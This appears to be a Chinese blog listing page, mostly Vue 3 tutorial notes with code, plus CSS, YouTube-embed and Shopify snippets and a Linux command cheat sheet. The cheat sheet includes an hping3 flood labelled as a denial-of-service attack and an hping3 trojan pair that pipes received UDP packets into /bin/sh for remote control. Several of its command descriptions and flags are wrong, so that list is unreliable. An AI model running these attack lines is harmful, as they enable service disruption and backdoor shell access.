app.mount('#app'); </script>根组件app容器可以看成根组件,所以根组件跟普通组件都具备相同的配置信息,例如:data、computed、methods等等选项。<div id="app"> <my-head></my-head> </div> <script> // 根组件 let RootApp = { data(){ return { } } }; // MyHead组件 let MyHead = { template: ` <header> <div>{{ message }}</div> <h2>logo</h2> <ul> <li>首页</li> <li>视频</li> <li>音乐</li> </ul> </header> ` }; let app = Vue.createApp(RootApp) app.component('MyHead', MyHead); let vm = app.mount('#app'); </script>根组件与MyHead组件形成了父子组件。局部组件与全局组件局部组件只能在指定的组件内进行使用,而全局组件可以在容器app下的任意位置进行使用。组件之间是如何进行互相通信的上一个小节中,我们了解了组件是可以组合的,那么就形成了父子组件,父子组件之间是可以进行通信的, 那么为什么要通信呢?主要是为了让组件满足不同的需求。 组件之间差异化 父子通信最常见的通信方式就是父传子,或者子传父,那么父传子通过props实现,而子传父则通过emits自定义事件实现。 父子通信 <div id="app"> <my-head :count="count" @custom-click="handleClick"></my-head> </div> <script> let app = Vue.createApp({ data(){ return { count: 10 } }, methods: { handleClick(data){ console.log(data); } } }) app.component('MyHead', { props: ['count'], emits: ['custom-click'], template: ` <header> <div>{{ count }}</div> <h2>logo</h2> <ul> <li>首页</li> <li>视频</li> <li>音乐</li> </ul> </header>`, mouted(){ this.$emit('custom-click', 'MyHead Data') } }); let vm = app.mount('#app'); </script>父子通信需要注意的点组件通信的props是可以定义类型的,在运行期间会进行检测组件之间的数据是单向流动的,子组件不能直接修改传递过来的值但是有时候也需要数据的双向流动,可利用v-model来实现组件的属性与事件是如何进行处理的有时候组件上的属性或事件并不想进行组件通信,那么Vue是如何处理的呢?组件的属性与事件默认不通过props接收的话,属性会直接挂载到组件容器上,事件也是如此,会直接挂载到组件容器上。可通过 inheritAttrs 选项阻止这种行为,通过指定这个属性为false,可以避免组件属性和事件向容器传递。可通过 $attrs 内置语法,给指定元素传递属性和事件,代码如下:<div id="app"> <my-head title="hello world" class="box" @click="handleClick"></my-head> </div> <script> let app = Vue.createApp({ data(){ return { } }, methods: { handleClick(ev){ console.log(ev.currentTarget); } } }) app.component('MyHead', { template: ` <header> <h2 v-bind:title="$attrs.title">logo</h2> <ul v-bind:class="$attrs.class"> <li>首页</li> <li>视频</li> <li>音乐</li> </ul> </header> `, mounted(){ console.log( this.$attrs ); // 也可以完成父子通信操作 }, inheritAttrs: false // 阻止默认的属性传递到容器的操作 }); let vm = app.mount('#app'); </script>$attrs也可以实现组件之间的间接通信。组件的内容是如何组合与分发处理的在前面的小节中,我们学习了组件之间的通信,让组件之间实现了不同的需求,我们通过给组件添加不同的属性来实现。那么在Vue中如何去传递不同的组件结构呢?这就涉及到了组件内容的分发处理。插槽slot在Vue中是通过插槽slot方式来进行分发处理的,Vue 实现了一套内容分发的 API,这套 API 的设计灵感源自 Web Components 规范草案,将 元素作为承载分发内容的出口。<div id="app"> <my-head> <p>logo</p> </my-head> </div> <script> let app = Vue.createApp({ data(){ return { message: 'hello' } } }) app.component('MyHead', { data(){ return { }; }, template: ` <header> <slot></slot> </header>`, }); let vm = app.mount('#app'); </script>组件内的结构,即<p>logo</p>会被分发到<slot></slot>所在的区域。内容分发与插槽的注意点渲染作用域 -> 插槽只能获取当前组件的作用域具名插槽 -> 处理多个插槽的需求,通过v-slot指令实现,简写为#作用域插槽 -> 希望插槽能访问子组件的数据完整代码如下:<div id="app"> <my-head> <template #title> <p>logo, {{ message }}, {{ count }}</p> </template> <template #list="{ list }"> <ul> <li v-for="item in list">{{ item }}</li> </ul> </template> </my-head> </div> <script> let app = Vue.createApp({ data(){ return { message: 'hello' } } }) app.component('MyHead', { data(){ return { count: 123, list: ['首页', '视频', '音乐'] }; }, template: ` <header> <slot name="title"></slot> <hr> <slot name="list" :list="list"></slot> </header> `, }); let vm = app.mount('#app'); </script>单文件组件SFC及Vue CLI脚手架的安装使用Vue 单文件组件(又名 *.vue 文件,缩写为 SFC)是一种特殊的文件格式,它允许将 Vue 组件的模板、逻辑 与 样式封装在单个文件中。为什么要使用 SFC使用 SFC 必须使用构建工具,但作为回报带来了以下优点:使用熟悉的 HTML、CSS 和 JavaScript 语法编写模块化的组件让本来就强相关的关注点自然内聚预编译模板,避免运行时的编译开销组件作用域的 CSS在使用组合式 API 时语法更简单通过交叉分析模板和逻辑代码能进行更多编译时优化更好的 IDE 支持,提供自动补全和对模板中表达式的类型检查开箱即用的模块热更新 (HMR) 支持如何支持SFC可通过项目脚手架来进行支持,Vue支持Vite脚手架和Vue CLI脚手架。这里我们先来介绍Vue CLI的基本使用方式。# 安装 npm install -g @vue/cli # 创建项目 vue create vue-study # 选择default default (babel, eslint) # 启动脚手架 npm run serve通过localhost:8080进行访问。脚手架文件的组成src/main.js -> 主入口模块src/App.vue -> 根组件src/components -> 组件集合src/assets -> 静态资源单文件的代码组成template -> 编写结构script -> 编写逻辑style -> 编写样式 单文件组件 其中style中的scoped属性,可以让样式成为局部的,不会影响到其他组件,只会作用于当前组件生效,同时在脚手架下支持常见的文件进行模块化操作,例如:图片、样式、.vue文件等。
2022年12月23日
221 阅读
0 评论
0 点赞
2022-12-23
Vue3学习笔记(一)
03-选项式API的编程风格与优势04-声明式渲染及响应式数据实现原理05-指令系统与事件方法及传参处理06-计算属性与侦听器区别与原理(一)06-计算属性与侦听器区别与原理(二)07-条件渲染与列表渲染及注意点08-class样式与style样式的三种形态09-表单处理与双向数据绑定原理10-生命周期钩子函数及原理分析11-搜索关键词加筛选条件的综合案例选项式API的编程风格与优势选项式API,即:options APIlet vm = createApp({ methods: {}, computed: {}, watch: {}, data(){}, mounted(){} })这种写法的优势:只有一个参数,不会出现参数顺序的问题,随意调整配置的位置非常清晰,语法化特别强非常适合添加默认值的声明式渲染及响应式数据实现原理Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统:<div id="counter"> Counter: {{ counter }} </div>const Counter = { data() { return { counter: 0 } } } Vue.createApp(Counter).mount('#counter')声明式编程:不需要编写具体是如何实现的,直接调用声明就可以实现功能。SQL就是比较经典的声明式语言:SELECT * from user WHERE username = xiaomingfor(var i=0;i<user.length;i++) { if(user[i].username == "xiaoming") { print("find"); break; } }注意:数据是通过 {{ }} 模板语法来完成的,模板语法支持编写JS表达式响应式数据实现的原理:利用JS的Proxy对象。Proxy 用于修改某些操作的默认行为,等同于在语言层面做出修改,其实就是直接监控值的修改,当值发生改变的时候,可以监控到。<div id="app"></div> <script> let data = new Proxy( { message: "hello", }, { get(target) { console.log("get") return target.message }, set(target, key, value) { console.log("set") app.innerHTML = value; }, } ) app.innerHTML = data.message; setTimeout(() => { data.message = "hi" }, 2000) </script>指令系统与事件方法及传参处理指令系统就是通过自定义属性实现的一套功能,也是声明式编程的体现。通常在标签上添加 v-* 字样,常见的指令有:v-bind -> 操作标签属性,可通过 : 简写v-on -> 操作事件,可通过 @ 简写<div id="app"> <p :title="message">这是一个段落</p> <button @click=" message = 'hi' ">点击</button> </div> {{ message }} <script> let vm = Vue.createApp({ data(){ return { message: 'hello' } } }).mount('#app') </script>如何添加事件方法,通过methods选项API实现,并且Vue框架已经帮我们帮事件传参机制处理好了。<div id="app"> <button @click="toClick($event, 123)">点击</button> </div> <script> let vm = Vue.createApp({ methods: { toClick(ev, num){ } } }).mount('#app') </script>计算属性与侦听器区别与原理计算属性模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的。在模板中放入太多的逻辑会让模板过重且难以维护,所以过于复杂的逻辑可以移植到计算属性中进行处理。<div id="app"> {{ reverseMessage }} </div> <script> let vm = Vue.createApp({ data(){ return { message: 'hello' } }, computed: { reverseMessage(){ return this.message.split('').reverse().join('') } } }).mount('#app') </script>计算属性与方法比较像,如下所示:<div id="app"> {{ reverseMessageMethod() }}<br> {{ reverseMessageMethod() }}<br> {{ reverseMessage }}<br> {{ reverseMessage }}<br> </div> <script> let vm = Vue.createApp({ data(){ return { message: 'hello world' } }, methods: { reverseMessageMethod(){ console.log(1); return this.message.split(' ').reverse().join(' '); } }, computed: { reverseMessage(){ console.log(2); return this.message.split(' ').reverse().join(' '); } } }).mount('#app'); </script>计算属性跟方法相比,具备缓存的能力,而方法不具备缓存,所以上面代码执行完,会弹出两次1和一次2。注意:默认是只读的,一般不会直接更改计算属性,如果想更改也是可以做到的,通过Setter写法实现,官方地址。既然计算属性编写的是一个函数,而调用的时候以函数名的形式进行使用,其实实现起来也不是特别难的事情:let computed = { num(){ return 123; } } let vm = {} for(let attr in computed){ Object.defineProperty(vm, attr, { value: computed[attr]() }) }侦听器虽然计算属性在大多数情况下更合适,但有时也需要一个自定义的侦听器。侦听器的目的:侦听器用来观察和响应Vue实例上的数据变动,类似于临听机制+事件机制。当有一些数据需要随着其它数据变化而变化时,就可以使用侦听器。<div id="app"> {{ message }} </div> <script> let vm = Vue.createApp({ data(){ return { message: 'hello' } }, watch: { message(newVal, oldVal){ } } }).mount('#app') </script>有时候,计算属性 和 侦听器 往往能实现同样的需求,那么他们有何区别呢?计算属性适合:多个值去影响一个值的应用;而侦听器适合:一个值去影响多个值的应用侦听器支持异步的程序,而计算属性不支持异步的程序class样式与style样式的三种形态操作元素的 class 列表和内联样式是数据绑定的一个常见需求。因为它们都是 attribute,所以我们可以用 v-bind 处理它们:只需要通过表达式计算出字符串结果即可。不过,字符串拼接麻烦且易错。因此,在将 v-bind 用于 class 和 style 时,Vue.js 做了专门的增强。表达式结果的类型除了字符串之外,还可以是对象或数组。字符串数组对象let vm = Vue.createApp({ data() { return { myClass1: 'box box2', myClass2: ['box', 'box2'], myClass3: { box: true, box2: true }, myStyle1: 'background: red; color: white;', myStyle2: ['background: red', 'color: white'], myStyle3: { background: 'red', color: 'white' }, } }, }).mount("#app")数组和对象的形式要比字符串形式更加的灵活,也更容易控制变化。表单处理与双向数据绑定原理表单是开发过程中经常要进行操作的,一般需要收集表单数据,发送给后端,或者把后端的数据进行回显等。在Vue中是通过v-model指令来操作表单的,可以非常灵活的实现响应式数据的处理。<div id="app"> <input type="text" v-model="message"> {{ message }} </div> <script> let vm = Vue.createApp({ data() { return { message: 'hello' } } }).mount("#app") </script>尽管有些神奇,但 v-model 本质上不过是语法糖。可通过value属性 + input事件来实现同样的效果。<div id="app"> <input type="text" :value="message" @input="message = $event.target.value"> {{ message }} </div> <script> let vm = Vue.createApp({ data() { return { message: 'hello' } } }).mount("#app") </script>v-model除了可以处理输入框以外,也可以用在单选框、复选框、以及下拉菜单中。<div id="app"> <input type="checkbox" v-model="fruits" value="苹果">苹果<br> <input type="checkbox" v-model="fruits" value="西瓜">西瓜<br> <input type="checkbox" v-model="fruits" value="哈密瓜">哈密瓜<br> {{ fruits } <input type="radio" v-model="gender" value="女">女<br> <input type="radio" v-model="gender" value="男">男<br> {{ gender }} <select v-model="city"> <option value="北京">北京</option> <option value="上海">上海</option> <option value="杭州">杭州</option> </select> {{ city }} </div> <script> let vm = Vue.createApp({ data(){ return { fruits: ['西瓜', '哈密瓜'], gender: '男', city: '杭州' } } }).mount('#app'); </script>生命周期钩子函数及原理分析每个组件在被创建时都要经过一系列的初始化过程——例如,需要设置数据监听、编译模板、将实例挂载到 DOM 并在数据变化时更新 DOM 等。同时在这个过程中也会运行一些叫做生命周期钩子的函数,这给了用户在不同阶段添加自己的代码的机会。就是工厂的流水线,每个工人站在各自的岗位,当任务流转到工人身边的时候,工人就开始工作。简单来说生命周期钩子函数就是回调函数,在Vue的某个时机去调用对应的回调函数。就像定时器一样,谁调用的定时器的回调函数呢?其实就是定时器内部在调用的。setTimeout(()=>{ console.log('2秒后被执行了'); }, 2000)官方提供的生命周期图示生命周期可划分为三个部分:初始阶段:beforeCreate、created、beforeMount、mounted更新阶段:beforeUpdate、updated销毁阶段:beforeUnmout、unmounted注:一般在,created,mounted中都可以发送数据请求,但是,大部分时候,会在created发送请求。因为这样可以更短的时间去响应数据。搜索关键词加筛选条件的综合案例准备好案例的JSON数据[ { "id": 1, "name": "小明", "gender": "女", "age": 20 }, { "id": 2, "name": "小强", "gender": "男", "age": 18 }, { "id": 3, "name": "大白", "gender": "女", "age": 25 }, { "id": 4, "name": "大红", "gender": "男", "age": 22 } ]参考代码<style> .active-gender{ background: red; } </style> <div id="app"> <input type="text" v-model="message"> <button :class="activeGender('全部')" @click="handleGender('全部')">全部</button> <button :class="activeGender('男')" @click="handleGender('男')">男</button> <button :class="activeGender('女')" @click="handleGender('女')">女</button> <ul> <li v-for="item in filterList" :key="item.id">{{ item.name }}, {{ item.gender }}, {{ item.age }}</li> </ul> </div> <script> let vm = Vue.createApp({ data() { return { list: [], message: '', gender: '全部' } }, created(){ fetch('./02-data.json').then((res)=> res.json()).then((res)=>{ this.list = res; }) }, computed: { filterList(){ return this.list .filter((v)=> v.name.includes(this.message)) .filter((v)=> v.gender === this.gender || '全部' === this.gender); } }, methods: { activeGender(gender){ return { 'active-gender': this.gender === gender }; }, handleGender(gender){ this.gender = gender; } } }).mount('#app'); </script>总结内容了解核心思想,例如:MVVM设计模式、选项式API优势了解Vue3各个选项的用法,例如:data、methods、computed等掌握常见的指令:v-bind、v-on、v-if、v-for等掌握样式操作、表单操作等行为了解Vue3的生命周期钩子函数,及如何使用
2022年12月23日
184 阅读
0 评论
1 点赞
2022-11-12
如何使用JavaScript获取和设置CSS root变量值
1.CSS全局变量:root { --color: #ccc; }2.js代码获取css全局变量getComputedStyle(document.documentElement).getPropertyValue('--color'); // #ccc 3.js代码设置css全局变量document.documentElement.style.setProperty('--color', '#fe000');
2022年11月12日
1,283 阅读
0 评论
3 点赞
2022-11-12
Javascript中使用Youtube
CSS部分<style> * { margin: 0; padding: 0; box-sizing: border-box; } :root { --container-title-fontsize: 30px; --article-content-fontsize: 14px; --article-link-fontsize: 13px; --video-title-fontsize: 14px; --colorTitle: #000; } .video-container { width: 99%; margin: auto; } .video-container-title { width: 100%; text-align: center; font-size: var(--container-title-fontsize); font-weight: bold; margin-top: 50px; color:var(--colorTitle); } .video-group { display: flex; justify-content: space-between; margin: 10px 0; flex-wrap: wrap; } .video-group:after { width: calc(100% / 3 - 20px); content: ''; height: 0; visibility: hidden; } .video-item { width: calc(100% / 3 - 20px); margin-top: 30px; } .video-content { width: 100%; text-align: center; } .video-title { font-size: var(--video-title-fontsize); } .youtube { background-color: #000; margin-bottom: 20px; position: relative; padding-top: 56.25%; overflow: hidden; cursor: pointer; } .youtube .play-button, .youtube .play-button:before { top: 50%; left: 50%; transform: translate3d(-50%, -50%, 0); } .youtube img, .youtube iframe, .youtube .play-button, .youtube .play-button:before { position: absolute; } .youtube img, .youtube .play-button { cursor: pointer; } .youtube img { width: 100%; top: 0; left: 0; opacity: 0.8; } .youtube .play-button { width: 90px; height: 60px; background-color: #333; box-shadow: 0 0 30px rgb(0 0 0 / 60%); z-index: 1; opacity: 0.8; border-radius: 6px; } .youtube .play-button:before { content: ""; border-style: solid; border-width: 15px 0 15px 26px; border-color: transparent transparent transparent #fff; } .youtube .play-button:hover { background-color: #f00; } .youtube iframe { height: 100%; width: 100%; top: 0; left: 0; } [data-max="false"] img { top: -47px; } </style>Html部分<div class="video-container"> <div class="video-container-title"> VIDEO REVIEW </div> <div class="video-group"> <div class="video-item"> <div class="video-content"> <div class="youtube" data-embed="cUdfHgzvHoQ" data-max="false"> <div class="play-button"></div> </div> </div> <p class="video-title">Full review of EnjoyBot 12v 100Ah LFP battery,Full review of EnjoyBot 12v 100Ah LFP battery</p> </div> <div class="video-item"> <div class="video-content"> <div class="youtube" data-embed="0jErmH2iEG4" data-max="false"> <div class="play-button"></div> </div> </div> <p class="video-title">EnjoyBot 12V 100Ah LiFePO4 Battery Review, Super Cheap, $256/kWh!</p> </div> </div> </div>JS部分<script> var youtube = document.querySelectorAll(".youtube"); // loop for (var i = 0; i < youtube.length; i++) { var source = ''; // thumbnail image source. if (youtube[i].dataset.max == 'false') { source = "https://img.youtube.com/vi/" + youtube[i].dataset.embed + "/0.jpg"; } else { source = "https://img.youtube.com/vi/" + youtube[i].dataset.embed + "/maxresdefault.jpg"; } var image = new Image(); image.src = source; image.addEventListener("load", function () { youtube[i].appendChild(image); }(i)); youtube[i].addEventListener("click", function () { console.log('click') var iframe = document.createElement("iframe"); iframe.setAttribute("frameborder", "0"); iframe.setAttribute("allowfullscreen", ""); iframe.setAttribute("src", "https://www.youtube.com/embed/" + this.dataset.embed + "?rel=0&autoplay=1&showinfo=1"); this.innerHTML = ""; this.appendChild(iframe); }); } </script>
2022年11月12日
118 阅读
0 评论
0 点赞
2022-11-10
Vue3学习笔记
Vue3全家桶:Vue3,Composition API,Options API,Element Plus,Vue Router,Vue CLI,Vuex,Pinia,ViteVue3核心知识点:MVVM设计模式、响应式数据实现原理、指令系统、计算属性与侦听器、条件渲染与列表渲染、class样式与style样式的三种形态、表单处理、生命周期钩子函数、组件通信、组件属性与事件、组件内容分发、脚手架使用及原理实现、ref属性在元素和组件上、nextTick监听DOM、自定义指令及应用场景、组件功能之Mixin混入、插件的概念及插件的实现、动态组件与keep-alive组件缓存、transition动画与过渡的实现、异步组件与Suspense, Provide_Inject、Teleport、虚拟DOM与render函数及Diff算法、setup方法与script_setup及ref响应式、reactive,toRefs, watchEffect, defineProps...TypeScript与框架结合Vue组合式+TS,状态管理+TSVue选项式+TS,组件库+TSReact类组件+TS,Axios+TSReact函数组件+TS,路由+TSTypeScript核心知识点类型声明空间与变量声明空间、类型注解与类型推断、类型分类与联合类型与交叉类型、never类型与any类型与unknown类型、类型断言与非空断言、数组类型与元祖类型、对象类型与索引签名、函数类型与void类型、函数重载与可调用注解、枚举类型与const枚举、详解接口与类型别名之间区别、字面量类型和keyof关键字、类型保护与自定义类型保护、定义泛型和泛型常见操作、类型兼容性详解、映射类型与内置工具类型、条件类型和infer关键字、类中如何使用类型、模块系统与命名空间、d.ts声明文件和declare关键字、@types和DefinitelyTyped仓库、lib.d.ts和global.d.ts、tsconfig.json...MVC设计模式与MVVM设计模式选项式API的编程风格与优势指令系统与事件方法及传参处理声明式宣染及响应式数据实现原理计算属性与侦听器区别与原理条件渲染与列表宣染及注意点class样式与style样式的三种形态表单处理与双向数据绑定原理生命周期钩子函数及原理分析MVC设计模式与MVVM设计模式为什么使用Vue框架?◆最大的优点:就是不用自己完成复杂的DOM操作了,而由框架帮我们去完成选项式API的编程风格与优势:let vm = createApp( /* 选项*/ methods: {}, computed: {}, watch:{}, data(){}, mounted(){} }).mount(' #app');💠只有一个参数,不会出现参数顺序的问题,随意调整配置的位置 💠 非常清晰,语法化特别强 💠 非常适合添加默认值的声明式宣染及响应式数据实现原理💠利用ES6的Proxy对象对底层进行了监控计算属性与侦听器区别与原理🔸计算属性适合: 多个值去影响一个值的应用;而侦听器适合一个值去影响多个值的应用🔸侦听器支持异步的程序,而计算属性不支持异步的程序🔷 条件渲染:使用v-if指令条件性地宣染一块内容。这块内容只会在指令的表达式返回truthy真值的时候被渲染🔷 falsy假值 (即 false,0,-0, On, "“,null, undefined和NaN)条件宣染与列表渲染及注意点:列表宣染需要添加key属性 -> 用来跟踪列表的身份v-if和v-for尽量不要一起使用 -> 利用计算属性来完成这类功能template标签起到的作用 -> 形成一个整体容器并且不会被宣染<div id="app"> <!-- <input- type="text" - v-model="message">--> <input type="text" :value="message" @input="message = $event.target.value"> </div>
2022年11月10日
128 阅读
0 评论
1 点赞
2022-11-02
Linux指令大全
service --status -all【服务状态】service MySQL restart【重启数据库】pstree -a 【显示每个程序的完备指令】pstree -c【不适用精确表示法】pstree -l【显示树状图】pstree -h【列数列图】pstree -u【显示用户名】pstree -n【显示程序识别码】pstree -G【列绘图字符】systemctl enable httpd.service【使某个服务启用】systemctl disable httpd.service【使某个服务不启用】systemctl status httpd.service【服务详细信息】system list-units --type=service【显示所有已经启用的服务】systemctl start httpd.service【启用某服务】systemctl stop httpd.service 【停用某服务】systemctl restart httpd.service【重启某服务】iptables -A INPUT -p tcp --dport 22 -j ACCEPT【允许访问22端口】iptables -A INPUT -p tcp --dport 80 -j ACCEPT【允许访问80端口】sudo systemctl status firewalld.service【开启防火墙】sudo systemctl stop firewalld.service【关闭防火墙】sudo systemctl disable firewalld.service【彻底关闭防火墙】halt -p【关闭系统】halt -d 【关闭系统不保留】reboot【重启】reboot -w【模拟重启】shutdown -h【关机】shutdown -r【重启】poweroff -f【强制关机】poweroff -i【关闭网络接口】wget http://www.linux.net/testfile.zip【单个文件下载】wget -c【断点下载】wget -b【后台下载】wget -spider【测试下载】wget -i【下载多个文件】Telnet -a【自动登入远程系统】Telnet -k【不自动登录系统】Telnet -L【用户名】rexec -p【密码】rexec -n【明确的输入用户名密码】iptraf -i【开启流量监视】iptraf -g【网络接口信息】iptraf -d【开启流量监视信息】iptraf -z【显示包计数】iptraf -s【UDP TCP流量信息】iptraf -l【监视工作站信息】iptraf -t【监视信息】nstat -h【显示帮助信息】nstat -v【显示版本信息】nstat -d【守护进程的方式执行命令】lnstat【Linux的方式】ss -t -a【显示ICP链接】ss -s【显示sockets】ss -l【显示打开网络接口】ss -pl【显示进程使用】ss -u -a【显示UDP】ss -a【显示所有的套接字】ss -i【显示内部TCP信息】ss -d【显示DDCP】tcpdump -a【转换广播协议】tcpdump -f【数字显示】tcpdump -x【十六进制读取数据】tcpdump -l【列出缓冲区】tcpdump -i ethO【抓包】tcpdump host IP【截取IP数据包】tcpdump -i ethO host name【截取主机数据】tcpdump -tcp port 23 host ip【监视制定数据包】hping3 -S -c 1000000 -a ip -p ip【防火墙测试】hping3 -i ethO -aip -S ip -p 80 -i u1000【拒绝服务攻击】hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh【木马端】echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd【远程控制端】host -a【详细DNS信息】host -c 【SOA记录】host -t【域名信息类型】host -v【详细执行信息】nslookup 网站【域名查找】arping 网站arping -b【以太网广播帧】dig -p 【域名端口号】dig -x【逆向解析】arp -a【显示缓冲区】arp -rl【指定使用类型】arp -D【硬件接口地址】arp -E【Linux显示条目】arp -n【数字方式显示条目】arp -v【显示详细信息】arp -f【主机IP与Mac映射】traceroute -i【ICMP取代UDP】traceroute -p【UDP端口】traceroute -n【使用IP地址】traceroute -x【开启关闭数据包】netstat -a【列出所有端口】netstat -au 【UDP端口】netstat -lt【tcp端口】netstat -lx【Unix端口】netstat -st【tcp端口】netstat -pt【PID进程】netstat -C【路由表信息】netstat -at【tcp端口】netstat -l【监听端口】netstat -lu【UDP端口监听】netstat -s【端口详细信息】netstat -su【UDP端口】netstat -c【列出网络状态】nststat -f【显示FIB】
2022年11月02日
183 阅读
0 评论
1 点赞
2022-10-31
常用偏门CSS汇总
常用偏门CSS汇总
2022年10月31日
244 阅读
0 评论
1 点赞
2022-10-27
Shopify,Shoplaza平台全局参数一览
shopifypurchase事件中:订单号:{{ order.order_number }} 订单金额:{{ total_price | times: 0.01 }} 运费:{{ shipping_price | times: 0.01 }} 币种:{{ order.currency }}Shoplazapurchase事件中订单号:{{ checkout.order_id }} 金额:{{ checkout.total_price }} 订单总金额(check.total_price) = 商品优惠后的总价(check.line_items_subtotal_price) + 税费(check.tax_price) + 物流费(check.shipping_price)计算销售额Shopify: sale = subtotal_price + total_shipping Shoplaza: sale = sub_total - total_discount + total_tax + total_shipping获取collection产品信息shopify: {% assign collection = section.settings.collection %} {% assign products = collections[collection].products %} {% for product in products %} {% assign price = product.price | money_with_currency %} {% assign retailPrice = product.compare_at_price | money_with_symbol %} {% assign productImage = product.images[0].src | img_url: '640x' %} {% assign url = product.url %} {% endfor %}shoplaza: {% assign collection = section.settings.collection %} {% assign products = collections[collection.id].products %} {% for product in products %} {% assign price = product.price | money_with_symbol %} {% assign retailPrice = product.compare_at_price | money_with_symbol %} {% assign productImage = product.image.src | img_url: '640x' %} {% assign url = product.url %} {% endfor %}shoplaza获取单个产品自定义属性(json格式时)和其他产品参数信息 {% assign product = all_products[section.settings.product.id] %} {% assign icons = product.metafields.sunshine.show_case.value.icons %}
2022年10月27日
227 阅读
0 评论
4 点赞
1
...
12
13
14
...
17